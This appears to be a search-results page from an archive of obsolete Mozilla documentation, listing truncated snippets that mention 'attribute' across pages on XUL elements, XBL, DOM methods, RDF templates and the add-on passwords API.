attribute.if no match is found, the sequence will be an empty list. multiple numbers nodes as a composite sequence that reflects the hierarchic position of the node, e.g. 1.2.2.5. (the nested format can be specified with the f...
...hen counts that node plus all its preceding siblings (stopping when it reaches a match to the from
attribute, if there is one) that also match the count
attribute.if no match is found, the sequence will be an empty list. multiple numbers nodes as a composite sequence that reflects the hierarchic position of the node, e.g. 1.2.2.5. (the nested format can be specified with the format
attribute, e.g. a.1.1). the processor looks at all ancestors of the current node and the current node itself, stopping when it reaches a match for the from
attribute, if there is one. for each node in this list that matches the count
attribute, the processor counts how many preceding matching siblings it has, and adds one for the node itself. if no match is found, the sequence will be an empty list. ...
...And 2 more matches
passwords - Archive of obsolete content
thenticate its users, then the corresponding credential is an html form credential. it contains the following properties: username the username. password the password. url the url for the web service which requires the credential. you should omit anything after the hostname and (optional) port. formsubmiturl the value of the form's "action"
attribute. you should omit anything after the hostname and (optional) port. if the form doesn't contain an "action"
attribute, this property should match the url property. usernamefield the value of the "name"
attribute for the form's username field. passwordfield the value of the "name"
attribute for the form's password field. so: given a form at http://www.example.com/login...
... url string the url associated with the credential. formsubmiturl string the url an html form credential is submitted to. realm string for http authentication credentials, the realm for which the credential was requested. for add-on credentials, a name for the credential. usernamefield string the value of the name
attribute for the user name input field in a form. passwordfield string the value of the name
attribute for the password input field in a form. onerror function the callback function that is called if the function failed. the callback is passed an error containing a reason of a failure: this is an nsiexception object. store(options) this function ...
... formsubmiturl string the url a form-based credential was submitted to. omitted for add-on credentials and http authentication credentials. realm string for http authentication credentials, the realm for which the credential was requested. for add-on credentials, a name for the credential. usernamefield string the value of the name
attribute for the username input in a form. omitted for add-on credentials and http authentication credentials. passwordfield string the value of the name
attribute for the password input in a form. omitted for add-on credentials and http authentication credentials. oncomplete function the callback function that is called once the function completes successfu...
... formsubmiturl string the url a form-based credential was submitted to. omitted for add-on credentials and http authentication credentials. realm string for http authentication credentials, the realm for which the credential was requested. for add-on credentials, a name for the credential. usernamefield string the value of the name
attribute for the username input in a form. omitted for add-on credentials and http authentication credentials. passwordfield string the value of the name
attribute for the password input in a form. omitted for add-on credentials and http authentication credentials. oncomplete function the callback function that is called once the function has completed succe...
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
lated technologies. it has a number of useful qualities: it is generic, extensible, and easy to validate as well-formed. some examples of xml-based markup languages include xhtml, which is html redefined on an xml base; svg, for expressing vector images; and mathml, for expressing mathematical formulas. xul, which is used in firefox, is also based on xml. listing 1: xml syntax <elementname some
attribute="somevalue"> content </elementname> as shown in listing 1, xml uses elements, which consist of an opening tag, a closing tag, and content. note: elements that take no content can be expressed in compact form as <elementname/>. an element can include other elements as well as text in its content, and all information is structured as a tree. as in all trees, elements can have children (element...
...uses elements, which consist of an opening tag, a closing tag, and content. note: elements that take no content can be expressed in compact form as <elementname/>. an element can include other elements as well as text in its content, and all information is structured as a tree. as in all trees, elements can have children (elements contained within them) and parents (elements that contain them).
attributes can also be added to opening tags, each with a value. as the "extensible" part of xml implies, elements from various xml-based languages such as xhtml and svg can be interspersed in one another as a means to extend the language. all elements can carry a "namespace uri" identifier, which is unique for each language. for example, even though xhtml and svg have elements with the same name, these c...
...the dom with different levels of functionality. gecko supports nearly all of dom level 2 and some of dom level 3. with the dom, the contents of an xml document are handled as a "dom tree," a collection of element nodes and other nodes. listing 4 shows an example that deletes the second child element of the element with the "toolbar" id, adds a new button element as a substitute, and sets a label
attribute. ...
...w button element as a substitute, and sets a label
attribute. we do not go into the details of the various apis in the dom. to learn more about the dom, please take a look at the mdc documentation. ...
Adding menus and submenus - Archive of obsolete content
accesskey="&xulschoolhello.hellomenu.accesskey;" insertafter="javascriptconsole,devtoolsseparator"> <menupopup> <!-- your menuitem goes here. --> </menupopup> </menu> </menupopup> now let's look at some specialized types of menu items. menu types checkbox menu items you can make a menuitem "checkable" to allow the user to enable/disable options using the menu. we use two
attributes for this: type and checked. the type
attribute must be set to "checkbox". you can set the checked
attribute to "true" to check it by default. the item's checked state changes when the user clicks on it. an example of one such item is the view > status bar item in the main firefox menu. radio menu items if you need to have a set of menuitem elements where only one of them has to be checked at ...
... "checkbox". you can set the checked
attribute to "true" to check it by default. the item's checked state changes when the user clicks on it. an example of one such item is the view > status bar item in the main firefox menu. radio menu items if you need to have a set of menuitem elements where only one of them has to be checked at any given moment, you should set the type to "radio". the name
attribute is used to identify the items that belong to the radio group. <menupopup oncommand="xulschoolchrome.hw.greetingdialog.greeting(event);"> <menuitem type="radio" name="xulschoolhello-greeting-radio" label="&xulschoolhello.greet.short.label;" checked="true" /> <menuitem type="radio" name="xulschoolhello-greeting-radio" label="&xulschoolhello.greet.medium.label;" /> <menuitem type="rad...
...me="xulschoolhello-greeting-radio" label="&xulschoolhello.greet.medium.label;" /> <menuitem type="radio" name="xulschoolhello-greeting-radio" label="&xulschoolhello.greet.long.label;" /> </menupopup> this is a modified version of the 3 greeting menus. it is now implemented as a radio menu where you pick one of the 3 available choices. the first one is checked by default. ...
...menu icons are typically 16px by 16px. menus on mac os x as mentioned earlier, menus are very different on mac os x. this is because menus on mac are located in a single menu bar which is controlled by the operating system, as opposed to menus in other systems, which are entirely controlled by firefox. ...
Adding windows and dialogs - Archive of obsolete content
roups in the same window. it's also a useful accessibility feature, because screen readers will read the caption right before reading any text in its contents. you can change its style using css in case you don't want the borders to appear. see the firefox preferences window for an example of this: sections are defined using groupbox elements, but their style is quite different from the default.
attribute persistence user actions can change the state of your windows, such as selecting an option in a listbox, or entering text in a textbox. if the user closes and then reopens your window, all the controls are reset to their defaults, which may not be what you want. you need some way of remembering the user-manipulated
attribute values so that the window reloads it last state when opened. most xul ...
...n change the state of your windows, such as selecting an option in a listbox, or entering text in a textbox. if the user closes and then reopens your window, all the controls are reset to their defaults, which may not be what you want. you need some way of remembering the user-manipulated
attribute values so that the window reloads it last state when opened. most xul elements support the persist
attribute, which has this exact function. ...
...n in a listbox, or entering text in a textbox. if the user closes and then reopens your window, all the controls are reset to their defaults, which may not be what you want. you need some way of remembering the user-manipulated
attribute values so that the window reloads it last state when opened. most xul elements support the persist
attribute, which has this exact function. you set the persist
attribute with a space-separated list of
attribute names, indicating which
attribute values must be persisted across window "sessions". <checkbox id="xulschoolhello-some-checkbox" label="&xulschoolhello.sometext.label;" checked="false" persist="checked" /> setting the id
attribute of the element is mandatory if you want the persist
attribute to work. you can also set persistence programatically u...
...ves you to the next control in the window, giving it focus. in general, there's nothing you need to do in order to have good keyboard focus management. firefox will automatically focus the first input control in your window, and tab focus advances in the order the items are found in the xul document. if you have a very complex layout, or need customized tabbing behavior, you can set the tabindex
attribute in the controls. you can also use the focus function to focus an element depending on events such as window load. you should do this carefully, to avoid having inaccessible controls. you can also use the -moz-user-focus css property to enable focusing of elements that typically wouldn't receive focus. again, this should be used sparingly. « previousnext » this tutorial was kindly donat...
Making it into a static overlay - Archive of obsolete content
). its next line is the stylesheet reference we previously added to navigator.xul. after that is a xul overlay element. this element is the top-level element in a xul overlay file and serves to identify the file as an overlay. within that element is the script reference we previously added to navigator.xul. then there is a statusbar element containing a statusbarpanel element. ...
...xul. after that is a xul overlay element. this element is the top-level element in a xul overlay file and serves to identify the file as an overlay. within that element is the script reference we previously added to navigator.xul. then there is a statusbar element containing a statusbarpanel element. the value of the id
attribute of the statusbar element in our overlay matches the value of the id
attribute of the statusbar element in navigator.xul. ...
...rlay. within that element is the script reference we previously added to navigator.xul. then there is a statusbar element containing a statusbarpanel element. the value of the id
attribute of the statusbar element in our overlay matches the value of the id
attribute of the statusbar element in navigator.xul. when navigator.xul is rendering into the browser's application interface, this causes any
attributes or child elements of the statusbar element in the overlay file to be added to the interface's dom and thus show up in the interface as if they were defined on the same element in navigator.xul. note that we've added a new
attribute to the statusbarpanel element: insertbefore. this
attribute identifies another statusbarpanel element within statusbar before which our element should appear. thus it...
...to use this overlay instead of our changes to navigator.xul we need to remove our changes, then add a reference to the overlay to the top of navigator.xul: ... ...
DOM Interfaces - Archive of obsolete content
the nsidomdocumentxbl interface the nsidomdocumentxbl interface contains methods for manipulating xbl bindings. the interface is implemented by all dom documents. idl definition interface nsidomdocumentxbl { nodelist getanonymousnodes(in element elt); element getanonymouselementby
attribute(in element elt, in domstring attrname, in domstring attrvalue); element getbindingparent(in node node); void loadbindingdocument(in domstring documenturl); }; methods getanonymousnodes the getanonymousnodes method retrieves the anonymous children of the specified element. parameters elt - the element to retrieve anonymous children for. return value nodelist - the return value of getanonymousnod...
...nonymousnodes is a nodelist that represents the children of an element after insertion points from its own binding have been applied. this means that, depending on the details regarding the insertion points of the binding, it's possible that some non-anonymous nodes appear in the list. see "not so anonymous nodes" on mozilla.dev.platform for some discussion about this. getanonymouselementby
attribute the getanonymouselementby
attribute methods retrieves an anonymous descendant with a specified
attribute value. typically used with an (arbitrary) anonid
attribute to retrieve a specific anonymous child in an xbl binding. parameters elt - the element to retrieve anonymous children for. attrname - the
attribute name to look up. attrvalue - the
attribute value to match. return...
... getbindingparent the getbindingparent method is used to obtain the bound element with the binding attached that is responsible for the generation of the specified anonymous node. this method enables an author to determine the scope of any content node. ...
... getbindingparent the getbindingparent method is used to obtain the bound element with the binding attached that is responsible for the generation of the specified anonymous node. this method enables an author to determine the scope of any content node. when content at the document-level scope is passed in as an argument, the property's value is null. ...
Event Handlers - Archive of obsolete content
event handlers are defined using handler elements. a handler specifies what event it is listening for using the event
attribute. the handler contains script that is executed when an event flows to the object the handler is attached to and if that event matches all of the criteria specified by the handler. the most basic handler specifies the event to listen for and an action to take when the handler fires. this action can be specified either using an action
attribute or by specifying the script as a child of the handler element. if both are specified, the
attribute wins. in both cases the javascript body is compiled just before execution; code that does not depend on the context of the event should be factored into normal javascript file. (note that there is a possibility that this may change in ...
...hat does not depend on the context of the event should be factored into normal javascript file. (note that there is a possibility that this may change in the future.) handlers are attached to the bound element, and they are registered by default for bubbling events. this means that <handler event="click" action="foo()"/> is analogous to onclick="foo()" defined on the bound element. the phase
attribute specifies the phase of event flow that the handler is registered for. the default value is bubbling, which means that the event handler will fire during the bubbling phase. the other possible values are target, which means the handler will only fire if event.originaltarget is the same as the target to which the handler is attached, and capturing, which indicates the handler should fire during the...
...t potentially suppress the default actions taken by the xbl handlers. within an xbl inheritance chain, event handlers always fire first on the derived binding and then on the base binding in the chain. a derived handler then has a way of preventing the event from flowing to its base binding handlers. mouse and key handlers have certain additional properties that are supported by xbl. additional
attributes can be used to impose a filter on the event handler. when a filter is imposed, additional conditions must be met before the event handler will fire. for both mouse and key events, modifier keys can be specified using the modifiers
attribute. this
attribute is a comma-separated list of modifier keys that must be down at the time the key or mouse event occurs in order for the handler to execute. ...
...common keys in the list are shift and control. for more details, see the xbl element reference for <handler>. in addition, mouse events can specify the button and the clickcount. this allows xbl authors to easily define handlers for right-click, or for left double-click, without having to write script on the same handler to differentiate those cases. key events support the charcode and keycode
attributes. when set, the corresponding fields in the event object must match for the event to fire. [editor's note: should we have section on error-handling? probably.] ...
textbox.type - Archive of obsolete content
« xul reference home type type: one of the values below you can set the type
attribute to one of the values below for a more specialized type of textbox. don't set the type if you wish to use a regular textbox. autocomplete a textbox that supports autocomplete. for more information about autocomplete textboxes, see the autocomplete documentation (xpfe [thunderbird/seamonkey]) (firefox) number a textbox that only allows the user to enter numbers. in addition, arrow buttons appear next to the textbox to let the user step through values. there are several
attributes that allow the number textbox to be configured, including decimalplaces, min, max, increment, wraparound, hidespinbuttons, and textbox.value. password a textbox that hides what is typed, used for entering pas...
...w the number textbox to be configured, including decimalplaces, min, max, increment, wraparound, hidespinbuttons, and textbox.value. password a textbox that hides what is typed, used for entering passwords. search a textbox intended for searching. the command event will fire as the user modifies the value. a listener for the command event should update search results. if the searchbutton
attribute is set to true, the command event is only fired if the user presses the search button or presses the enter key. you may specify grey text to appear when the search box is empty using the emptytext
attribute, and a timeout may be set for the command event using the timeout
attribute (defaults to 500). timed this textbox will fire a command event after the user types characters and a certain ...
... the user presses the search button or presses the enter key. you may specify grey text to appear when the search box is empty using the emptytext
attribute, and a timeout may be set for the command event using the timeout
attribute (defaults to 500). timed this textbox will fire a command event after the user types characters and a certain time has passed. the delay is set with the timeout
attribute. the command event will fire if the user presses the enter key. the timed type is deprecated in gecko 1.9.1 and the search textbox may be used instead. xbl-specific note beware that if you create an xbl binding for a textbox, you need to use the appropriate extends
attribute and changing type
attribute on the tree won't have effect. e.g. if you have <binding id="input" extends="chrome://g...
... may be used instead. xbl-specific note beware that if you create an xbl binding for a textbox, you need to use the appropriate extends
attribute and changing type
attribute on the tree won't have effect. e.g. if you have <binding id="input" extends="chrome://global/content/bindings/autocomplete.xml#autocomplete" >, then the textbox will have autocomplete type, regardless of tree's 'type'
attribute. use <binding extends="chrome://global/content/bindings/textbox.xml#textbox" > for ordinary textbox. see also type ...
Dynamically modifying XUL-based user interface - Archive of obsolete content
are the document object model apis? they are the interfaces that are used in any interaction of a script and a document. if you have ever written a script that interacts with a xul (or html) document, you have already used dom calls. the most well known dom method is probably document.getelementbyid(), which returns an element, given its id. you may also have used other calls, such as element.set
attribute(), or, if you wrote an extension, the addeventlistener() method. all of these are defined in dom. there are also dom methods that create, move, or delete elements from a document. they will be demonstrated in a later section. right now, let's learn what a document is. what is a document? a document is a data structure which is manipulated through dom apis. a logical structure of every document ...
... addeventlistener() method. all of these are defined in dom. there are also dom methods that create, move, or delete elements from a document. they will be demonstrated in a later section. right now, let's learn what a document is. what is a document? a document is a data structure which is manipulated through dom apis. a logical structure of every document is a tree, with nodes being elements,
attributes, processing instructions, comments, etc. use the dom inspector tool to see the tree representation of any document. todo: simple example of a xul document and a tree you can think of a document as an in-memory representation of valid html or well-formed xml such as xhtml or xul. it is important to remember that different web pages (and even different instances of the same web page) correspond to...
...newly created element in the document. appendchild() appends the node after all other nodes, while insertbefore() inserts the node before the node referenced by its second parameter. function createmenuitem(alabel) { const xul_ns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"; var item = document.createelementns(xul_ns, "menuitem"); // create a new xul menuitem item.set
attribute("label", alabel); return item; } var popup = document.getelementbyid("mypopup"); // a <menupopup> element var first = createmenuitem("first item"); var last = createmenuitem("last item"); popup.insertbefore(first, popup.firstchild); popup.appendchild(last); you can also use appendchild() and insertbefore() to move existing elements. for example you could move the item labeled "first item" to t...
...ine some content which is inserted to the bound element, when the binding is attached. this content, called anonymous content, is not accessible through normal dom methods. you need to use the methods of nsidomdocumentxbl interface instead. for example: // gets the first anonymous child of the given node document.getanonymousnodes(node)[0]; // returns a nodelist of anonymous elements with anonid
attribute equals el1 document.getanonymouselementby
attribute(node, "anonid", "el1"); see getanonymousnodes and getanonymouselementby
attribute in the xbl reference for more information. once you have an anonymous node, you can use regular dom methods to navigate and manipulate the rest of the nodes of that binding. see also a related chapter on dom xul tutorial:modifying a xul interface ...
Namespaces - Archive of obsolete content
to quote wikipedia: "in general, a namespace is an abstract container providing context for the items ... it holds and allows disambiguation of items having the same name." if you are familiar with c++ namespaces, java packages, perl packages, or python module importing, you are already familiar with the namespace concept. ...
...ause urls are an easy way to hope for uniqueness. although there's nothing preventing someone else from using the namespace http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul, it's fairly unlikely anyone would choose that accidentally. even if they did accidentally choose it, they may not define the same elements as xul anyway (e.g., <textbox/>) in their schema/dtd. any element type or
attribute name in an xml namespace can be uniquely identified by its xml namespace and its "local name". together, these two items define a qualified name, or qname. for example, <xul:textbox/> uses a namespace named "xul" and a local name "textbox". this distinguishes it from, for example, <foobar:textbox/> which might occur in the same document. the xul and foobar namespaces must be defined at the top of...
...nd to be used for all descendants of an element. here's a question: what namespace contains the element foo in the xml document below? <foo/> the answer is that it's in no namespace, or alternately, it's in the namespace denoted by the empty string: <foo xmlns=""/> this second example is semantically equivalent to the first. ...
...his second example is semantically equivalent to the first. now, a second question: what namespaces are the bar, baz, and quux
attributes in? <foo bar="value"> <element xmlns="namespace!" baz="value"> <element quux="value"/> </element> </foo> bar is obviously not in a namespace. what about baz and quux? the answer is that they aren't in a namespace either. in fact no unprefixed
attribute is ever in a namespace, primarily because xml originally didn't have namespaces, and all xml from that time had to stay in no namespace. this is a source of perennial confusion for xml namespaces. ...
MenuButtons - Archive of obsolete content
menu buttons menus may be attached to buttons in several ways. both the button and the toolbar button elements support two special types used for creating menu buttons. a button or toolbarbutton with a type
attribute set to 'menu' creates a button that will open a menu when pressed. an arrow appears on the button next to the label or image indicating to the user that a menu is present. a button or toolbarbutton with a type
attribute set to 'menu-button' creates a button that can be pressed normally. however a segment of the button displays an arrow which, when pressed, opens a menu. in either case, a menupopup element should be placed as a direct child of the button. the 'menu' button the 'menu' type of button is used when pressing the button alone should just open the menu and not...
...ressed, opens a menu. in either case, a menupopup element should be placed as a direct child of the button. the 'menu' button the 'menu' type of button is used when pressing the button alone should just open the menu and not execute a command directly. this works similarly to the menu tag, and would be used to present a set of commands to execute. to create a button of this type, set the type
attribute of the button to 'menu'. for instance, in the following example, pressing the 'view' button will open a menu which allows the user to select from a set of radio menuitems. presumably, when one is selected, the application view would be changed accordingly. when using the keyboard, pressing the down key will open the menu while the button is focused. <button type="menu" label="view"> <menupo...
...n> the 'menu-button' button the 'menu-button' type of button is used when you want to attach a menu to a button but want to have a default action carried out when the button is pressed by itself. this is accomplished by dividing the button into two parts, one with the label and image to carry out the default command and the second to show the menu. to create a button of this type, set the type
attribute of the button to 'menu-button'. <toolbarbutton type="menu-button" label="save" oncommand="alert('save');"> <menupopup> <menuitem label="save this document"/> <menuitem label="save all" oncommand="alert('save all'); event.stoppropagation();"/> </menupopup> </toolbarbutton> here, the 'save' button has a type of 'menu-button', so a small arrow button will appear which will open the ...
...ic options pertaining to the operation. we might want to extend this example to insert a list of the unsaved documents to the save button menu so that each could be saved individually. you might want to set the first item in the example above as the default button, so it indicates to the user that the command is carried out when the main button is pressed. this can be done by setting the default
attribute on the item to true. <menuitem label="save this document" default="true"/> see indicating_the_default_item for more information about the default
attribute. as with the 'menu' type, the 'menu-button' type may be applied to either the button or the toolbarbutton element. ...
RDF Modifications - Archive of obsolete content
atement, the same output would be supplied for the ?photo variable whether the new data is there or not. thus, the member statement can be skipped. the next statement is a triple involving the 'http://purl.org/dc/elements/1.1/title' predicate. we aren't adding a arc involving this triple so we can ignore this statement as well. the second triple, however, could cause a change, since the predicate
attribute matches the predicate being added. the subject and object are variables so the builder accepts this as a possible change, and moves on to the next step. if the predicate was different, the builder would come to the end of the statements and could just stop there. for instance, if the predicate of the triple being added was 'http://purl.org/dc/elements/1.1/date', the builder could ignore it since ...
...n obelisks') next, the builder works its way backwards through the statements, in order to fill in the remaining variables. it does this in a similar manner as it does when it generates results, but traverses the statements in the opposite order. the previous triple will fill in a value for the ?title variable, since we now have a value for the ?photo variable referred to by the triple's subject
attribute. next, the member statement is examined, and, in this situation, the builder fills in the known ?photo variable, and looks for a parent container containing this value. there is a container 'http://www.xulplanet.com/rdf/myphotos', so the ?start variable will be filled in with this value. now, the potential result so far is: (?photo = http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg, ?descr...
...to the container resource. once we do add it to the container with another rdf assertion, the process described above is applied again and this time it may match. there are still two more things to do before a result is accepted as a new match. first, once the builder reaches the content statement, it checks what the container or reference variable is, in this case ?start, as specified by the uri
attribute. the calculated value for the potential new match is 'http://www.xulplanet.com/rdf/myphotos'. the builder looks to see if this resource is being used as the stating point in the template. as it happens, this resource is being used, since it is the value of the ref
attribute we've been using in these examples. this would also be the case for any starting points used in recursive generation. if the...
... this binding involves a triple pointing out from the starting variable that has been used in these examples. the value for this binding will be the same for every result, so if the category name changes, every result will need to change. however, the builder can use a much simpler process for recalculating the results. instead of regenerating the content for a result, the builder just looks for
attribute values that involve the ?name variable. those
attributes are just recomputed, substituting the new value for ?name instead. this process is repeated for each result that would be affected. when a template involves multiple queries, the same process is used for each query as with one query. as when generating the results initially, only the highest matching query needs to be applied. the only extr...
Things I've tried to do with XUL - Archive of obsolete content
ent").clientwidth; ... xbl in listboxes using xbl bindings in listboxes is not easy because there is a big bug there: if you create from js an element you want to bind, and if it is hidden when the listbox is first rendered, the listbox does not create a frame for it, and the xbl doesn't get attached... ...
... while this works at first, after a number of rows have been added it breaks and stops displaying the first cell (the one specified by the appenditem call). ...
... while this works at first, after a number of rows have been added it breaks and stops displaying the first cell (the one specified by the appenditem call). ...
...first, after a number of rows have been added it breaks and stops displaying the first cell (the one specified by the appenditem call). instead, you must build up your own listitem full of listcells, and then add that listitem to the listbox, using generic dom calls: var row = document.createelement('listitem'); // create and attach 1st cell var cell = document.createelement('listcell'); cell.set
attribute('label', label ); cell.set
attribute('value', value ); row.appendchild( cell ); // create and attach 2nd cell cell = document.createelement('listcell'); cell.set
attribute('label', label2 ); cell.set
attribute('value', value2 ); row.appendchild( cell ); // etc // ... // attach row mylistbox.appendchild( row ); ...
Adding Labels and Images - Archive of obsolete content
nto a xul file without tags around it and expect it to be displayed. you can use two xul elements for this purpose. label element the most basic way to include text in a window is to use the label element. it should be used when you want to place a descriptive label beside a control, such as a button. an example is shown below: example 1 : source view <label value="this is some text"/> the value
attribute can be used to specify the text that you wish to have displayed. the text will not wrap, so the text will all be displayed on a single line. this syntax is the most common of labels. if the text needs to wrap, you can place the text content inside opening and closing tags as in the following example: example 2 : <label>this is some longer text that will wrap onto several lines.</label> as with h...
...the text needs to wrap, you can place the text content inside opening and closing tags as in the following example: example 2 : <label>this is some longer text that will wrap onto several lines.</label> as with html, line breaks and extra whitespace are collapsed into a single space. later, we'll find out how to constrain the width of elements so that we can see the wrapping more easily. control
attribute you can use the control
attribute to set which control the label is associated with. when the user clicks on an associated label, that control will be focused. this association is also important for accessibility, so that screen readers read aloud the label for the control as the user tabs to it. set the value of the control
attribute to the id of the element to be focused. example 3 : source vie...
..."/> <button id="open-button" label="open"/> in the example above, clicking the label will cause the button to be focused. description element for descriptive text not associated with any particular control, you can use the description tag. this element is useful for informative text at the top of a dialog or a group of controls for example. as with the label element, you can either use the value
attribute for a single line of text or place text or xhtml content inside opening and closing description tags for longer blocks of text. it is more common to use the
attribute syntax for labels, and the text content syntax for descriptions. example 4 : source view <description> this longer section of text is displayed. </description> you can set the text via script using the textcontent property, as in...
...scription> you can set the text via script using the textcontent property, as in the following example: <description id="text" width="200"/> document.getelementbyid('text').textcontent = "some lengthy word wrapped text goes here."; internally, both the label element and the description elements are the same. the label element is intended for labels of controls, such as text fields. the control
attribute is only supported for labels. the description element is intended for other descriptive text such as informative text at the top of a dialog box. images xul has an element to display images within a window. this element is appropriately named image. note that the tag name is different than html (image instead of img). you can use the src
attribute to specify the url of the image file. the example...
Creating a Window - Archive of obsolete content
iles" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <!-- other elements go here --> </window> this window will not do anything since it doesn't contain any ui elements. those will be added in the next section. in fact, there will not be shown any window at all. if you want to force the window to become visible you can add the width and height
attribute to the window tag. here is a line by line breakdown of the code above: <?xml version="1.0"?> this line simply declares that this is an xml file. you would normally add this line as is at the top of each xul file. <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> this line is used to specify the style sheets to use for the file. this is the syntax that xml files use to import...
...ing a similar syntax. note that you would normally import the global style sheet from within your own style sheet file. <window this line declares that you are describing a window. each user interface window is described in a separate file. this tag is much like the html tag which surrounds an entire html document, except that a user interface window is described instead of a document. several
attributes can be placed in the window tag -- in this case there are four. in the example, each
attribute is placed on a separate line but they do not have to be. id="findfile-window" the id
attribute is used as an identifier so that the window can be referred to by scripts. you will usually put an id
attribute on all elements. the name can be anything you want although it should be something relevant. ...
...the value horizontal indicates that items should be placed horizontally across the window. ...
...ifier so that the window can be referred to by scripts. you will usually put an id
attribute on all elements. the name can be anything you want although it should be something relevant. title="find files" the title
attribute describes the text that would appear on the title bar of the window when it is displayed. in this case the text 'find files' will appear. orient="horizontal" the orient
attribute specifies the arrangement of the items in the window. the value horizontal indicates that items should be placed horizontally across the window. you may also use the value vertical, which means that the items are placed in a column. this is the default value, so you may leave the
attribute off entirely if you wish to have vertical orientation. xmlns="http://www.mozilla.org/keymaster/gatekeeper/t...
XPCOM Examples - Archive of obsolete content
s the window-mediator rdf datasource. you can also get this component through the rdf service, which is another service that manages rdf datasources. the nsiwindowdatasource interface has a function getwindowforresource, which can be used to get the window given a resource. in the earlier example, we generated the list of windows and added it to a menu via a template. the template generates an id
attribute on each menuitem element. the value of this
attribute can be used as the resource. that means that in order to switch the window focus, we need to do the following: determine the element that the user clicked on. get the value of the id
attribute from the element. pass this value to getwindowforresource() to get a window object. switch the focus to this window. the example below shows h...
...the function switchfocus(): first gets a reference to a component which implements the window mediator interface. ...
... = mediator.getwindowforresource(resource); if (switchwindow){ switchwindow.focus(); } } </script> a command handler was added to the menu element which calls the function switchfocus() with a parameter of the element that was selected from the menu. the function switchfocus(): first gets a reference to a component which implements the window mediator interface. next, we get the id
attribute for the element. we can use the value of the id
attribute as the resource. the function getwindowforresource() takes the resource and returns a window that matches it. this window, stored in the switchwindow variable, is the same as the javascript window object. this means that you can call any of the functions provided by it, one of which is the focus() function. cookies next, we will get a...
...the first two lines of getcookies() get the menulist and remove all of the existing items in the menu. this is done because getcookies() is called every time the menu is opened and we don't want to leave the old items there each time. next, the cookie manager is retrieved. the cookie manager has an enumerator method which returns an object which implements nsisimpleenumerator. th...
Using the Editor from XUL - Archive of obsolete content
something, somewhere, tells mozilla to open the composer window. editor.xul is loaded. in editor.xul, the <window> tag has an onload handler: onload="editoronload()". that causes the editoronload() javascript function to get executed when the xul is done loading. the xul contains an <editor> tag, e.g.: <editor type="content-primary" id="content-frame" src="about:blank" flex="1"/> the
attribute type="content-primary" identifies this as the window content element, i.e. that which you get from window._content. having an id
attribute, id="content-frame", allows us to find this element with document.getelementbyid("content-frame"), and to style it from css. editoronload() is called. it does some getting of window.arguments (which is a way callers can pass parameters to new windows -- ...
...ay with. now we set up the editorshell by calling its init() method, telling it what type of editor we want (text or html), pointing it at the webshellwindow to use, and telling it the content node that it lives on: editorshell.init(); editorshell.seteditortype(editortype); editorshell.webshellwindow = window; editorshell.contentwindow = window._content; the webshellwindow (a settable
attribute on nsieditorshell) points to the top-level window element, from which the editorshell can get the xul document in which it is living. it needs this to poke the ui (e.g. for command state maintenance, starting and stopping the throbber etc.). the contentwindow (another settable
attribute on nsieditorshell) points to the xul element which is to become editable. note: since we already know ...
...indow (another settable
attribute on nsieditorshell) points to the xul element which is to become editable. note: since we already know this when we have an <editor></editor> tag, we should remove the need to call this. editorstartup() does some other minor bits of setup before finally kicking off the url load, which the most important part here. when the xul was parsed, the src
attribute on the content frame was set to about:blank (our default 'blank page' url). we can't set that before xul parsing, so we have to force a load of the page we now want to edit. ...
...kicking off the url load, which the most important part here. when the xul was parsed, the src
attribute on the content frame was set to about:blank (our default 'blank page' url). we can't set that before xul parsing, so we have to force a load of the page we now want to edit. we get the url to load from the args element, then kick off the load: var url = document.getelementbyid("args").get
attribute("value"); editorshell.loadurl(url); loading the document in the <iframe> of course happens asynchronously, so we need to know when we have a document that we can start editing. nseditorshell is able to observe the document load on the <iframe>, because it implements nsidocumentloaderobserver, and registered itself as a doc loader when it was assigned the content window. it thus gets callbac...
action - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] used to specify the content that should be generated for each matching result from a query. the action should be contained within a query or rule element. one descendant of the action body should have a uri
attribute set to the member variable. this element and its descendants may use variables in place of
attribute values. variables are a question mark followed by a name. for a matched rule, each variable will be a reference to data within the datasource, determined from the query. if the same variable appears multiple times, it will have the same value in each place. for more information, see actions. ...
...iable. this element and its descendants may use variables in place of
attribute values. variables are a question mark followed by a name. for a matched rule, each variable will be a reference to data within the datasource, determined from the query. if the same variable appears multiple times, it will have the same value in each place. for more information, see actions. ...
...es, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata ...
bbox - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a horizontal box that is baseline aligned. it is equivalent to using an hbox element with an align
attribute set to baseline. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] a horizontal box that is baseline aligned. it is equivalent to using an hbox element with an align
attribute set to baseline. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
